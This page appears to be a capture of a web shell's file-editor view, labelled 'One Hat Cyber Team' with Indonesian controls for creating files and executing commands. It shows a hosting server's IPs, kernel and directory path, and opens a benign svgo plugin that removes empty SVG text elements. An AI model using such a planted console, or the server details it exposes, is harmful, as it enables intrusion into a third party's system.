One Hat Cyber Team
Your IP :
216.73.216.194
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
esetkocsi
/
www
/
node_modules
/
svgo
/
plugins
/
Edit File:
removeEmptyText.js
'use strict'; const { detachNodeFromParent } = require('../lib/xast.js'); exports.name = 'removeEmptyText'; exports.type = 'visitor'; exports.active = true; exports.description = 'removes empty <text> elements'; /** * Remove empty Text elements. * * @see https://www.w3.org/TR/SVG11/text.html * * @example * Remove empty text element: * <text/> * * Remove empty tspan element: * <tspan/> * * Remove tref with empty xlink:href attribute: * <tref xlink:href=""/> * * @author Kir Belevich * * @type {import('../lib/types').Plugin<{ * text?: boolean, * tspan?: boolean, * tref?: boolean * }>} */ exports.fn = (root, params) => { const { text = true, tspan = true, tref = true } = params; return { element: { enter: (node, parentNode) => { // Remove empty text element if (text && node.name === 'text' && node.children.length === 0) { detachNodeFromParent(node, parentNode); } // Remove empty tspan element if (tspan && node.name === 'tspan' && node.children.length === 0) { detachNodeFromParent(node, parentNode); } // Remove tref with empty xlink:href attribute if ( tref && node.name === 'tref' && node.attributes['xlink:href'] == null ) { detachNodeFromParent(node, parentNode); } }, }, }; };
Simpan